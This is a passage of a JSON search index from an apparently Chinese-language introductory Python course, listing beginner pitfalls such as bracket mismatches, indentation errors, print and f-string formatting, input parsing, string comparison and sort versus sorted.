[x,y]])\\n</code></pre>\"},{\"location\":\"PythonCourse/#_4\",\"title\":\"\\u6ce8\\u610f\\u62ec\\u53f7\\u7684\\u5339\\u914d\",\"text\":\"<pre><code>a,b,c=map(int,(input().split())\\n</code></pre> <p>\\u591a\\u4e86\\u4e00\\u4e2a(\\uff0c \\u7ec6\\u5fc3\\u4e00\\u70b9\\u5373\\u53ef \\u62a5\\u9519\\uff1a</p> <pre><code>SyntaxError: unexpected EOF while parsing\\n</code></pre>\"},{\"location\":\"PythonCourse/#_5\",\"title\":\"\\u65b9\\u6cd5\\u662f\\u9700\\u8981\\u8c03\\u7528\\u7684\",\"text\":\"<pre><code>a,b,c=input().split\\n</code></pre> <p>\\u672b\\u5c3e\\u5c11\\u4e86() \\u62a5\\u9519\\uff1a</p> <pre><code>Traceback (most recent call last):\\n  File \\\"&lt;stdin&gt;\\\", line 1, in &lt;module&gt;\\nTypeError: cannot unpack non-iterable builtin_function_or_method object\\n</code></pre>\"},{\"location\":\"PythonCourse/#_6\",\"title\":\"\\u6ce8\\u610f\\u7f29\\u8fdb \\u4e0d\\u80fd\\u6709\\u591a\\u4f59\\u7a7a\\u683c\",\"text\":\"<pre><code>s=\\\"Python\\u8bed\\u8a00\\u7b80\\u5355\\u6613\\u5b66\\\"  \\n     print(s)\\n</code></pre> <p>\\u7b2c\\u4e8c\\u884c\\u591a\\u4e86\\u524d\\u9762\\u7684\\u7a7a\\u683c\\uff0c\\u4f1a\\u62a5\\u9519\\uff1a</p> <pre><code>  File \\\"&lt;stdin&gt;\\\", line 1\\n    print(s)\\n    ^\\nIndentationError: unexpected indent\\n</code></pre>\"},{\"location\":\"PythonCourse/#print\",\"title\":\"print\\u7684\\u7528\\u6cd5\",\"text\":\"<p>\\u9519\\u8bef\\u793a\\u4f8b\\uff1a</p> <pre><code>print(sum = s)\\n</code></pre> <p>\\u4f60\\u8981\\u7ad9\\u5728\\u8bed\\u8a00\\u5f00\\u53d1\\u8005\\u7684\\u89d2\\u5ea6\\u601d\\u8003\\uff0c\\u4f60\\u62ec\\u53f7\\u91ccsum\\u8868\\u793a\\u7684\\u662f\\u5b57\\u9762\\u610f\\u601d\\u4e0a\\u7684\\u201dsum\\u201d\\u5b57\\u7b26\\u4e32\\u5462\\u8fd8\\u662f\\u5185\\u7f6e\\u7684sum\\u51fd\\u6570\\u5462\\uff1f\\u8bed\\u8a00\\u7684\\u8bbe\\u8ba1\\u8981\\u4fdd\\u8bc1\\u6ca1\\u6709\\u6b67\\u4e49</p> <p>\\u6b63\\u786e\\u7684\\u5199\\u6cd5\\uff1a\\u9700\\u8981\\u539f\\u6837\\u8f93\\u51fa\\u7684\\u90fd\\u8981\\u52a0\\u4e0a\\u5f15\\u53f7\\uff01</p> <pre><code>print(\\\"sum =\\\", s)\\n</code></pre> <p>\\u8fd9\\u4e2a\\u9898\\u76ee\\u8981\\u6c42\\u7b49\\u53f7\\u4e24\\u8fb9\\u6709\\u7a7a\\u683c\\uff0c\\u5982\\u679c\\u6ca1\\u6709\\u6ce8\\u610f\\u5230\\u8fd9\\u4e00\\u70b9\\u4f1a\\u683c\\u5f0f\\u9519\\u8bef</p> <p>print\\u53ef\\u4ee5\\u63a5\\u53d7\\u4e0d\\u5b9a\\u6570\\u91cf\\u7684\\u53c2\\u6570\\uff0c\\u5728\\u8f93\\u51fa\\u7684\\u65f6\\u5019\\u6bcf\\u4e2a\\u53c2\\u6570\\u4e4b\\u95f4\\u4f1a\\u52a0\\u4e0a\\u7a7a\\u683c\\uff0c\\u6240\\u4ee5\\u4e0a\\u8ff0\\u5b57\\u7b26\\u4e32\\u91cc\\u7b49\\u53f7\\u53f3\\u8fb9\\u662f\\u4e0d\\u5199\\u7a7a\\u683c\\u7684</p>\"},{\"location\":\"PythonCourse/#f-string\",\"title\":\"\\u4f60\\u8fd8\\u53ef\\u4ee5\\u4f7f\\u7528f-string\",\"text\":\"<p>\\u4e0a\\u8ff0\\u5199\\u6cd5\\u53ef\\u4ee5\\u66ff\\u6362\\u6210\\uff1a</p> <pre><code>print( f\\\"sum = {s}\\\" )\\n</code></pre> <p>\\u6ce8\\u610f\\u5230\\u5b57\\u7b26\\u4e32\\u5f15\\u53f7\\u524d\\u9762\\u7684f\\uff0c\\u8bf4\\u660e\\u8fd9\\u4e2a\\u5b57\\u7b26\\u4e32\\u662f\\u4e00\\u4e2a\\u6a21\\u677f\\uff0cPython\\u9047\\u5230\\u8fd9\\u4e2a\\u5b57\\u7b26\\u4e32\\u4f1a\\u81ea\\u52a8\\u628as\\u7684\\u503c\\u586b\\u8fdb\\u53bb\\u3002</p> <p>f-string\\u5728Python3.7\\u91cc\\u9762\\u5f15\\u5165\\uff0cPTA\\u662f\\u652f\\u6301\\u7684\\uff0c\\u5982\\u679c\\u4f60\\u7684Python\\u7248\\u672c\\u4f4e\\u4e8e3.7\\uff0c\\u4f60\\u53ef\\u4ee5\\u7528\\u8fd9\\u4e9b\\u901a\\u7528\\u7684\\u5199\\u6cd5\\uff08\\u53ea\\u662f\\u4e0d\\u591f\\u7f8e\\u89c2\\u4e86\\uff09\\uff1a</p> <pre><code>print(\\\"sum = {}\\\".format(s)) # \\u9700\\u8981\\u8bb0\\u6e05\\u695a\\u591a\\u4e2a\\u53d8\\u91cf\\u4e4b\\u95f4\\u7684\\u987a\\u5e8f \\nprint(\\\"sum = {s}\\\".format(s=s)) # \\u6bcf\\u4e2a\\u53d8\\u91cf\\u90fd\\u8981\\u5199\\u4e00\\u904d\\nprint(\\\"sum = {s}\\\".format(**locals())) # \\u76f4\\u63a5\\u628a\\u6240\\u6709\\u5c40\\u90e8\\u53d8\\u91cf\\u90fd\\u63d0\\u4f9b\\u7ed9format \\u5c31\\u4e0d\\u7528\\u81ea\\u5df1\\u5199\\u4e86\\n# \\u5982\\u679c\\u7528\\u5728\\u51fd\\u6570\\u91cc\\uff0c\\u4f60\\u53ef\\u80fd\\u60f3\\u8f93\\u51fa\\u5168\\u5c40\\u53d8\\u91cf\\uff0c\\u672a\\u5b8c\\u5f85\\u7eed\\n</code></pre>\"},{\"location\":\"PythonCourse/#_7\",\"title\":\"\\u6ce8\\u610f\\u5f15\\u53f7\\u62ec\\u53f7\\u7684\\u5339\\u914d\\uff0c\\u5c24\\u5176\\u662f\\u53d8\\u5f97\\u590d\\u6742\\u7684\\u65f6\\u5019\",\"text\":\"<p>\\u9519\\u8bef\\u793a\\u4f8b \\u770b\\u770b\\u5f15\\u53f7\\u7684\\u7ed3\\u675f\\u4f4d\\u7f6e</p> <pre><code>print(f'f({x:.1f}) = {1/x:.1f'})\\n</code></pre> <p>\\u6b63\\u786e\\u7684\\u5199\\u6cd5\\u662f</p> <pre><code>print(f'f({x:.1f}) = {1/x:.1f}')\\n</code></pre>\"},{\"location\":\"PythonCourse/#forifelse\",\"title\":\"for,if,else\\u53f3\\u8fb9\\u90fd\\u8981\\u6709\\u5206\\u53f7\\uff0c\\u6bcf\\u4e2a\\u5206\\u53f7\\u7684\\u4e0b\\u4e00\\u884c\\u589e\\u52a0\\u7f29\\u8fdb\",\"text\":\"<p>\\u9519\\u8bef\\u793a\\u4f8b</p> <pre><code>num = float(input())\\nif num &lt; 0 :\\n    print('Invalid Value!')\\nelif num &lt;= 50:\\n    cost = num * 0.53\\nprint(\\\"cost = %.2f\\\" %  cost)\\nelse:\\n    cost = 50*0.53+(num-50)*(0.05+0.53)\\nprint(\\\"cost = %.2f\\\" %  cost)\\n</code></pre> <p>elif\\u91cc\\u9762\\u7684print\\u6ca1\\u6709\\u7f29\\u8fdb\\uff0celse\\u5fc5\\u987b\\u548celif\\u548cif\\u5e73\\u7ea7\\uff0c\\u4e4b\\u95f4\\u7684\\u4ee3\\u7801\\u5fc5\\u987b\\u66f4\\u591a\\u7f29\\u8fdb</p> <p>\\u4fee\\u6539\\u65b9\\u6cd5\\uff1a\\u53bb\\u6389\\u4e0a\\u9762\\u7684print\\u6216\\u8005\\u4e24\\u5904print\\u90fd\\u589e\\u52a0\\u7f29\\u8fdb</p>\"},{\"location\":\"PythonCourse/#_8\",\"title\":\"\\u7ee7\\u7eed\\u5f3a\\u8c03 \\u4e0d\\u8981\\u51fa\\u73b0\\u4e2d\\u6587\\u62ec\\u53f7\",\"text\":\"<p>\\u987a\\u5e26\\u5f3a\\u8c03\\u4e0d\\u8981\\u5728PTA\\u91cc\\u89e3\\u9898\\uff0c\\u5148\\u53bbPython IDLE\\u6216\\u8005thonny\\u91cc\\u672c\\u5730\\u505a\\u51fa\\u6765\\u518d\\u590d\\u5236\\u7c98\\u8d34\\u63d0\\u4ea4</p> <p>\\u4f60\\u7684\\u6bcf\\u6b21\\u9519\\u8bef\\u63d0\\u4ea4\\u6211\\u90fd\\u4f1a\\u770b\\uff0c\\u4f60\\u53cd\\u590d\\u51fa\\u73b0\\u540c\\u4e00\\u6b21\\u9519\\u8bef\\u8ba9\\u6211\\u5f88\\u70e6</p> <p>\\u4f60\\u4fe1\\u4e0d\\u4fe1\\u8fd9\\u4e2a\\u9519\\u8bef\\u4e0b\\u6b21\\u4f5c\\u4e1a\\u8fd8\\u4f1a\\u51fa\\u73b0</p> <p>\\u9519\\u8bef\\u793a\\u4f8b</p> <pre><code>if\\uff08x&lt;0\\uff09:\\n    print(\\\"Invalid Value!\\\")\\n</code></pre> <p>Python\\u7684if\\u4e5f\\u4e0d\\u9700\\u8981\\u62ec\\u53f7\\uff0c\\u76f4\\u63a5\\u5199\\u5c31\\u884c</p> <pre><code>if x&lt;0:\\n    print(\\\"Invalid Value!\\\")\\n</code></pre>\"},{\"location\":\"PythonCourse/#return-0\",\"title\":\"\\u4e0d\\u8981\\u51fa\\u73b0return 0\",\"text\":\"<p>\\u5982\\u679c\\u4f60\\u4e00\\u5b9a\\u8981\\u8ba9\\u7a0b\\u5e8f\\u7acb\\u523b\\u9000\\u51fa\\uff0c\\u7528<code>exit(0)</code>\\uff0c\\u6548\\u679c\\u7b49\\u4ef7\\u4e8eC\\u8bed\\u8a00main\\u51fd\\u6570\\u91cc<code>return 0;</code></p>\"},{\"location\":\"PythonCourse/#_9\",\"title\":\"\\u770b\\u6e05\\u9898\\u76ee\",\"text\":\"\"},{\"location\":\"PythonCourse/#int\",\"title\":\"\\u8f93\\u5165\\u5b9e\\u6570\\u522b\\u7528int()\",\"text\":\"<p>\\u9898\\u76ee\\u8bf4  \\u8f93\\u5165\\u5728\\u4e00\\u884c\\u4e2d\\u7ed9\\u51fa\\u5b9e\\u6570x</p> <p>\\u4f60\\u9700\\u8981<code>float(input())</code></p>\"},{\"location\":\"PythonCourse/#_10\",\"title\":\"\\u770b\\u6e05\\u9898\\u76ee\\u8f93\\u5165\\u7684\\u683c\\u5f0f\",\"text\":\"<p>\\u6bd4\\u5982\\u9898\\u76ee\\u8f93\\u5165\\u7684\\u4f8b\\u5b50\\u662f\\u8fd9\\u6837\\u7684</p> <pre><code>  1,  5\\n</code></pre> <p>\\u4f60\\u5c31\\u4e0d\\u80fd\\u7528 <code>a,b=input().split()</code></p> <p>\\u800c\\u5e94\\u8be5 <code>a,b=input().split(',')</code></p> <p>\\u4e5f\\u4e0d\\u5e94\\u8be5\\u4e24\\u6b21input()\\uff0c\\u53ea\\u6709\\u8f93\\u5165\\u662f\\u4e24\\u884c\\u7684\\u65f6\\u5019\\u624d\\u80fd\\u8c03\\u7528\\u4e24\\u6b21input</p>\"},{\"location\":\"PythonCourse/#_11\",\"title\":\"\\u770b\\u6e05\\u9898\\u76ee\\u7684\\u5141\\u8bb8\\u8303\\u56f4\",\"text\":\"<p>\\u9898\\u76ee\\u8bf4 lower\\u2264upper\\u2264100\\uff0c\\u90a3\\u4e48\\u80af\\u5b9a\\u5c31\\u4f1a\\u6709\\u6d4b\\u8bd5\\u70b9lower\\u7b49\\u4e8eupper\\uff0c\\u8fd9\\u662f\\u7b26\\u5408\\u8981\\u6c42\\u7684 \\u4e0d\\u8981\\u9519\\u8bef\\u7684\\u8f93\\u51fa\\u4e86 Invalid.</p>\"},{\"location\":\"PythonCourse/#_12\",\"title\":\"\\u590d\\u5236\\u7c98\\u8d34\\u9898\\u76ee\\u7684\\u6587\\u672c\\u5c31\\u884c \\u4e0d\\u8981\\u81ea\\u5df1\\u6572\",\"text\":\"<p>\\u81ea\\u5df1\\u8f93\\u5165\\u5c31\\u5bb9\\u6613\\u51fa\\u9519\\uff0c\\u4ece\\u9898\\u76ee\\u590d\\u5236\\u591a\\u7b80\\u5355</p>\"},{\"location\":\"PythonCourse/#_13\",\"title\":\"\\u4e0d\\u8981\\u8ffd\\u6c42\\u4e00\\u884c\\u5199\\u5b8c\",\"text\":\"<pre><code>cost = float(input())\\nprint(\\\"Invalid Value!\\\" if m&lt;0 else \\\"cost = \\\"+str(format(0.53 * cost + (0 if cost &lt;= 50 else 0.05 * (cost-50)),'.2f')))\\n</code></pre> <p>\\u4ee3\\u7801\\u662f\\u7ed9\\u4eba\\u770b\\u7684\\uff0c\\u8fd9\\u79cd\\u5199\\u6cd5\\u4e0d\\u5bb9\\u6613\\u770b\\u51fa\\u54ea\\u91cc\\u51fa\\u9519\\u4e86\\uff0c\\u8001\\u8001\\u5b9e\\u5b9e\\u5199if\\u5457</p> <p>\\u8fd9\\u4e2a\\u9519\\u8bef\\u662f\\u672a\\u5b9a\\u4e49\\u7684m</p> <p>\\u53e6\\u5916\\u53d8\\u91cf\\u7684\\u547d\\u540d\\uff0c\\u9898\\u76ee\\u8f93\\u5165\\u7684\\u662f\\u7535\\u91cf\\uff0c\\u4e0ecost\\u547d\\u540d\\u4e0d\\u4e00\\u81f4\\uff0c\\u8fd9\\u4f1a\\u8ba9\\u8bfb\\u8005\\u56f0\\u60d1\\uff08\\u8bfb\\u8005\\u5f88\\u6709\\u53ef\\u80fd\\u5c31\\u662f\\u4ee5\\u540e\\u7684\\u4f60\\uff0c\\u4e0d\\u8981\\u7ed9\\u81ea\\u5df1\\u6316\\u5751\\uff09</p>\"},{\"location\":\"PythonCourse/#_14\",\"title\":\"\\u4e58\\u6cd5\\u8981\\u5199\\u4e58\\u53f7\",\"text\":\"<p>\\u9519\\u8bef\\u5199\\u6cd5\\uff1a<code>2i</code> \\u62a5\\u9519<code>SyntaxError: invalid syntax</code></p> <p>\\u6b63\\u786e\\u5199\\u6cd5\\uff1a<code>2*i</code></p> <p>\\u9519\\u8bef\\u5199\\u6cd5\\uff1a<code>area=sqrt(s(s\\u2212a)(s\\u2212b)(s\\u2212c))</code>  \\u62a5\\u9519<code>TypeError: 'int' object is not callable</code></p> <p>\\u6b63\\u786e\\u5199\\u6cd5\\uff1a<code>area=sqrt(s*(s\\u2212a)*(s\\u2212b)*(s\\u2212c))</code></p>\"},{\"location\":\"PythonCourse/#int_1\",\"title\":\"int\\u7528\\u4f5c\\u8fdb\\u5236\\u8f6c\\u6362 \\u53c2\\u6570\\u662f \\u5b57\\u7b26\\u4e32,\\u6574\\u6570\",\"text\":\"<p>\\u4f60\\u9700\\u8981\\u7ed9\\u51fa\\u6b63\\u786e\\u7684\\u7c7b\\u578b \\u5426\\u5219\\u62a5\\u9519\\uff1a</p> <pre><code>&gt;&gt;&gt; int(\\\"100\\\",2)\\n4\\n\\n&gt;&gt;&gt; int(100,2)\\nTraceback (most recent call last):\\n  File \\\"&lt;stdin&gt;\\\", line 1, in &lt;module&gt;\\nTypeError: int() can't convert non-string with explicit base\\n\\n&gt;&gt;&gt; int(\\\"100\\\",\\\"2\\\")\\nTraceback (most recent call last):\\n  File \\\"&lt;stdin&gt;\\\", line 1, in &lt;module&gt;\\nTypeError: 'str' object cannot be interpreted as an integer\\n</code></pre>\"},{\"location\":\"PythonCourse/#join\",\"title\":\"\\u5b57\\u7b26\\u4e32\\u7684join \\u9700\\u8981\\u6bcf\\u4e2a\\u5143\\u7d20\\u90fd\\u662f\\u5b57\\u7b26\\u4e32\",\"text\":\"<p>\\u4f60\\u4e0d\\u80fd<code>\\\",\\\".join([1,2,3])</code> \\u4f1a\\u62a5\\u9519\\uff1a<code>TypeError: sequence item 0: expected str instance, int found</code></p> <p>\\u4f60\\u53ef\\u4ee5\\u5148\\u8f6c\\u6362\\u6210str\\uff1a <code>\\\",\\\".join([str(i) for i in [1,2,3]])</code></p>\"},{\"location\":\"PythonCourse/#_15\",\"title\":\"\\u6ce8\\u610f\\u8fb9\\u7f18\\u60c5\\u51b5\",\"text\":\"<p>\\u9898\\u76ee\\u8bf4\\u7684 \\u8f93\\u51fa\\u683c\\u5f0f \\u8981\\u8ba4\\u771f\\u4f53\\u4f1a</p> <p>\\u9996\\u5148\\u987a\\u5e8f\\u8f93\\u51fa\\u4eceA\\u5230B\\u7684\\u6240\\u6709\\u6574\\u6570\\uff0c\\u6bcf5\\u4e2a\\u6570\\u5b57\\u5360\\u4e00\\u884c\\uff0c\\u6bcf\\u4e2a\\u6570\\u5b57\\u53605\\u4e2a\\u5b57\\u7b26\\u5bbd\\u5ea6\\uff0c\\u5411\\u53f3\\u5bf9\\u9f50\\u3002\\u6700\\u540e\\u5728\\u4e00\\u884c\\u4e2d\\u6309Sum = X\\u7684\\u683c\\u5f0f\\u8f93\\u51fa\\u5168\\u90e8\\u6570\\u5b57\\u7684\\u548cX\\u3002</p> <pre><code>   -3   -2   -1    0    1\\n    2    3    4    5    6\\n    7    8\\nSum = 30\\n</code></pre> <p>\\u4f60\\u8003\\u8651\\u5230\\u6700\\u540e\\u4e00\\u884c\\u6b63\\u597d\\u51d1\\u6ee15\\u4e2a\\u6574\\u6570\\uff0c\\u4f60\\u4f1a\\u591a\\u8f93\\u51fa\\u4e00\\u4e2a\\u7a7a\\u884c\\u5417\\uff1f</p> <p>\\u53e6\\u5916\\u8fd9\\u4e2a\\u9898\\u76ee\\u6697\\u542b\\u7740 \\u6bcf\\u884c\\u672b\\u5c3e\\u4e0d\\u80fd\\u6709\\u7a7a\\u683c \\u7684\\u8981\\u6c42\\uff0c\\u4f60\\u80fd\\u7528<code>end=' '</code>\\u5417?</p>\"},{\"location\":\"PythonCourse/#_16\",\"title\":\"\\u5b66\\u4f1a\\u81ea\\u5df1\\u9020\\u6570\\u636e\",\"text\":\"<p>\\u4e0d\\u8981\\u6ee1\\u8db3\\u4e8e\\u9898\\u76ee\\u7ed9\\u7684\\u6837\\u4f8b\\uff0c\\u53d1\\u6325\\u4e3b\\u89c2\\u80fd\\u52a8\\u6027\\u81ea\\u5df1\\u9020\\u6570\\u636e\\u770b\\u770b\\uff0c\\u6bd4\\u5982\\u8fb9\\u754c\\u503c\\uff08\\u6700\\u5927\\u6700\\u5c0f\\uff09\\u3001\\u9519\\u8bef\\u503c</p>\"},{\"location\":\"PythonCourse/#_17\",\"title\":\"\\u6ce8\\u610f\\u8f93\\u51fa\\u683c\\u5f0f\\u5bf9\\u987a\\u5e8f\\u7684\\u8981\\u6c42\",\"text\":\"<p>\\u4f8b\\u5982\\u67e5\\u9a8c\\u8eab\\u4efd\\u8bc1\\u7684\\u9898\\u76ee\\uff0c\\u8f93\\u51fa\\u683c\\u5f0f\\u7684\\u8981\\u6c42\\u662f\\uff1a\\u6309\\u7167\\u8f93\\u5165\\u7684\\u987a\\u5e8f\\u6bcf\\u884c\\u8f93\\u51fa1\\u4e2a\\u6709\\u95ee\\u9898\\u7684\\u8eab\\u4efd\\u8bc1\\u53f7\\u7801</p> <p>\\u90a3\\u4f60\\u5c31\\u4e0d\\u80fd\\u8fd9\\u4e48\\u5199\\u4e24\\u6b21\\u5faa\\u73af\\uff0c\\u4e00\\u904d\\u8f93\\u51fa\\u524d17\\u4f4d\\u6709\\u975e\\u6570\\u5b57\\u7684\\uff0c\\u4e00\\u904d\\u8f93\\u51fa\\u6821\\u9a8c\\u4f4d\\u4e0d\\u5bf9\\u7684\\uff0c\\u53ea\\u80fd\\u4e00\\u6b21\\u5faa\\u73af\\u5b8c\\u6210</p> <p>\\u867d\\u7136\\u4e24\\u6b21\\u5faa\\u73af\\u903b\\u8f91\\u4e0a\\u662f\\u5bf9\\u7684\\uff0c\\u5374\\u6ca1\\u80fd\\u6ee1\\u8db3\\u9898\\u76ee\\u7684\\u8981\\u6c42\\uff0c\\u5c31\\u7b54\\u6848\\u9519\\u8bef\\u4e86\\uff1b\\u6070\\u597d\\u9898\\u76ee\\u7684\\u6837\\u4f8b\\u662f\\u5148\\u975e\\u6570\\u5b57\\u9519\\u8bef\\u518d\\u6821\\u9a8c\\u4f4d\\u9519\\u8bef\\uff0c\\u4f46\\u8fd9\\u53ea\\u662f\\u4e2a\\u6837\\u4f8b\\uff0c\\u6837\\u4f8b\\u91cc\\u7684\\u89c4\\u5f8b\\u53ea\\u8981\\u4eba\\u5bb6\\u6ca1\\u8bf4\\u4e00\\u5f8b\\u4e0d\\u7b97\\u6570\\u7684\\uff01</p>\"},{\"location\":\"PythonCourse/#_18\",\"title\":\"\\u5982\\u4f55\\u5224\\u65ad\\u4e00\\u4e2a\\u5b57\\u7b26\\u662f\\u6574\\u6570\\uff1f\",\"text\":\"<p>\\u6700\\u7b80\\u5355\\u7684\\u65b9\\u5f0f\\uff1a x.isdigit()</p> <p>\\u4e5f\\u53ef\\u4ee5\\uff1a \\u20180\\u2019&lt;=x&lt;=\\u20189\\u2019</p> <p>\\u4e0d\\u5efa\\u8bae\\u7684\\u65b9\\u5f0f\\uff1a 48&lt;=ord(x)&lt;=57 \\u4f60\\u4e0d\\u662f\\u5728\\u5199C\\u8bed\\u8a00\\uff0c\\u6ca1\\u5fc5\\u8981\\u8f6c\\u6362\\u4e3a\\u6574\\u6570\\u5224\\u65ad</p> <p>\\u9644\\u5e26\\u77e5\\u8bc6\\u70b9\\uff1apython\\u91cc <code>a&lt;x&lt;b</code>  \\u7b49\\u4ef7\\u4e8e <code>a&lt;x and x&lt;b</code> </p>\"},{\"location\":\"PythonCourse/#_19\",\"title\":\"\\u5b57\\u7b26\\u4e32\\u6bd4\\u8f83\\u5927\\u5c0f\\u662f\\u4e2a\\u5751\",\"text\":\"<p>\\u8fd9\\u4e2a\\u4e1c\\u897f\\u662fTrue\\u8fd8\\u662fFalse?</p> <pre><code>\\\"2\\\"&gt;\\\"11\\\"\\n</code></pre> <p>\\u7b54\\u6848\\u662fTrue\\uff0c\\u9707\\u60ca\\uff012\\u5c45\\u7136\\u6bd411\\u5927\\uff1f\\uff01 </p> <p>\\u6ce8\\u610f\\u8fd9\\u662f\\u4e24\\u4e2a\\u5b57\\u7b26\\u4e32\\u4e4b\\u95f4\\u7684\\u6bd4\\u8f83\\uff0c\\u5b57\\u7b26\\u4e32\\u7684\\u6bd4\\u8f83\\u89c4\\u5219\\u662f \\u9010\\u5b57\\u7b26\\u6bd4\\u8f83\\uff0c\\u76f8\\u540c\\u5c31\\u7ee7\\u7eed\\u6bd4\\u8f83\\uff0c\\u9047\\u5230\\u4e00\\u4e2a\\u4e0d\\u76f8\\u540c\\u5c31\\u5f97\\u51fa\\u6700\\u7ec8\\u7684\\u6bd4\\u8f83\\u7ed3\\u8bba\\u3002</p> <p>\\u8fd9\\u91cc\\u6bd4\\u8f83\\u7b2c\\u4e00\\u4e2a\\u5b57\\u7b262\\u548c1\\uff0c2\\u662f\\u5927\\u4e8e1\\u7684\\uff0cok\\u6bd4\\u8f83\\u5b8c\\u6210 \\u201c2\\u201d&gt;\\u201d11\\u201d\\u3002</p> <p>\\u540c\\u7406 \\u201c2\\u201d&gt;\\u201d199999999\\u201d\\uff0c\\u65e0\\u8bba9\\u6709\\u591a\\u5c11\\u4e2a\\u90fd\\u4e0d\\u4f1a\\u53c2\\u4e0e\\u6bd4\\u8f83\\u3002</p> <p>\\u4e3e\\u4e00\\u53cd\\u4e09\\uff1amax(\\u201c8\\u201d, \\u201c9\\u201d, \\u201c10\\u201d)\\u662f\\u591a\\u5c11\\uff1f</p> <p>\\u5f53\\u9898\\u76ee\\u8981\\u6c42\\u6574\\u6570\\u7684\\u6392\\u5e8f\\u7684\\u65f6\\u5019\\uff0c\\u4e00\\u5b9a\\u8981\\u7528int\\u8f6c\\u6210\\u6574\\u6570</p>\"},{\"location\":\"PythonCourse/#sortsorted\",\"title\":\"\\u533a\\u5206.sort()\\u548csorted\",\"text\":\"<pre><code>x=[3,1,2]\\nfor i in x.sort():\\n    print(i, end=' ')\\n</code></pre> <p>\\u4e0a\\u8ff0\\u4ee3\\u7801\\u6b63\\u786e\\u5417\\uff1f\\u4f1a\\u8f93\\u51fa<code>1 2 3</code>\\u561b\\uff1f</p> <p>.sort()\\u8fd4\\u56de\\u7684\\u662fNone\\uff0c\\u4e0d\\u80fd\\u7528\\u6765\\u8fed\\u4ee3\\uff1b\\u8fd9\\u662f\\u4e00\\u4e2a\\u539f\\u5730\\u6392\\u5e8f\\uff0c\\u76f4\\u63a5\\u4fee\\u6539\\u539f\\u6570\\u7ec4\\uff0c\\u4e0d\\u4f1a\\u521b\\u5efa\\u65b0\\u7684\\u6570\\u7ec4</p> <p>\\u5bf9\\u4e8e\\u4e0a\\u8ff0\\u4ee3\\u7801\\uff0c\\u4f60\\u9700\\u8981\\u7528sorted(x)\\uff1b\\u8fd9\\u4e0d\\u4f1a\\u4fee\\u6539\\u539f\\u6570\\u7ec4\\uff0c\\u800c\\u662f\\u521b\\u5efa\\u4e86\\u4e00\\u4e2a\\u65b0\\u7684\\u6570\\u7ec4</p> <pre><code>x=[3,1,2]\\nfor i in sorted(x):\\n    print(i, end=' ')\\n\\nprint(x)\\n</code></pre> <p>\\u8f93\\u51fa\\u662f<code>1 2 3 [3, 1, 2]</code>\\uff0c\\u53ef\\u4ee5\\u770b\\u51fa\\u4f7f\\u7528sorted\\u4e0d\\u4f1a\\u4fee\\u6539\\u539f\\u6765\\u7684x</p>\"},{\"location\":\"PythonCourse/#_20\",\"title\":\"\\u683c\\u5f0f\\u5316\\u5b57\\u7b26\\u4e32\\u4eec\",\"text\":\"\"},{\"location\":\"PythonCourse/#52f\",\"title\":\"\\u201c%5.2f\\u201d\\u662f\\u5565\\u610f\\u601d\",\"text\":\"<pre><code>&gt;&gt;&gt; \\\"%5.2f\\\"%1.2\\n' 1.20'\\n&gt;&gt;&gt; \\\"{:5.2f}\\\".format(1.2)\\n' 1.20'\\n&gt;&gt;&gt; \\\"{:&gt;5.2f}\\\".format(1.2)\\n' 1.20'\\n</code></pre> <p>\\u70b9\\u5c31\\u662f\\u5c0f\\u6570\\u70b9\\uff0c\\u70b92\\u5c31\\u662f\\u5c0f\\u6570\\u70b9\\u540e\\u4fdd\\u7559\\u4e24\\u4f4d\\u5c0f\\u6570\\uff0c\\u524d\\u9762\\u8fd8\\u6709\\u4e00\\u4e2a5\\u662f\\u5565\\u5462\\uff0c\\u8868\\u793a\\u6574\\u4f53\\u4e0d\\u591f5\\u4f4d\\u5c31\\u5de6\\u8fb9\\u7528\\u7a7a\\u683c\\u8865\\u9f505\\u4f4d\\uff0c\\u6ce8\\u610f\\u4e0a\\u8ff0\\u8f93\\u51fa\\u5de6\\u8fb9\\u662f\\u6709\\u4e00\\u4e2a\\u7a7a\\u683c\\u7684\\u3002</p> <p>\\u5982\\u679c\\u7528format\\uff0c\\u53ef\\u4ee5\\u770b\\u51fa\\u5199\\u6cd5\\u57fa\\u672c\\u76f8\\u540c\\uff0c\\u8fd9\\u662f\\u53f3\\u5bf9\\u9f50\\u7528<code>&gt;</code></p> <pre><code>&gt;&gt;&gt; \\\"%-5.2f\\\"%1.2\\n'1.20 '\\n&gt;&gt;&gt; \\\"{:&lt;5.2f}\\\".format(1.2)\\n'1.20 '\\n</code></pre> <p>\\u52a0\\u4e86\\u4e00\\u4e2a\\u8d1f\\u53f7\\uff0c\\u53d8\\u6210\\u4e86\\u53f3\\u8fb9\\u8865\\u7a7a\\u683c\\uff1b\\u8fd9\\u662f\\u5de6\\u5bf9\\u9f50\\u6240\\u4ee5\\u7528<code>&lt;</code></p>\"},{\"location\":\"PythonCourse/#_21\",\"title\":\"\\u90a3\\u6211\\u8981\\u5c45\\u4e2d\\u600e\\u4e48\\u529e\",\"text\":\"<pre><code>&gt;&gt;&gt; \\\"{:^7s}\\\".format(\\\"xyz\\\")\\n'  xyz  '\\n</code></pre> <p>\\u90a3\\u5c31\\u7528^\\u5457\\uff0c\\u8fd9\\u662f\\u6309Shift+6\\u6309\\u51fa\\u6765\\u7684\\u7b26\\u53f7</p>\"},{\"location\":\"PythonCourse/#_22\",\"title\":\"\\u683c\\u5f0f\\u5316\\u5b57\\u7b26\\u4e32\\u60f3\\u8f93\\u51fa\\u51e0\\u4e2a\\u53d8\\u91cf\\u5c31\\u8981\\u5199\\u51e0\\u4e2a\",\"text\":\"<pre><code>\\\"{:d}{:&gt;6.1f}\\\".format(fahr, celsius)\\n</code></pre> <p>\\u8fd9\\u91cc\\u6709\\u4e24\\u4e2a\\u53d8\\u91cf\\u8981\\u8f93\\u51fa\\uff0c\\u6240\\u4ee5\\u8981\\u4e24\\u4e2a\\u683c\\u5f0f\\u5316\\u5b57\\u7b26\\u4e32</p>\"},{\"location\":\"PythonCourse/#thonny\",\"title\":\"Thonny\\u7684\\u7528\\u6cd5\",\"text\":\"<p>\\u5728\\u4e0a\\u534a\\u90e8\\u5206\\u5199\\u4ee3\\u7801\\uff0c\\u6539\\u4ee3\\u7801\\uff0c\\u6309F5\\u6267\\u884c\\u540e \\u5728\\u4e0b\\u534a\\u90e8\\u5206Shell\\u91cc\\u8f93\\u5165\\u7528\\u6237\\u7684\\u8f93\\u5165\\uff0c\\u67e5\\u770b\\u8f93\\u51fa</p> 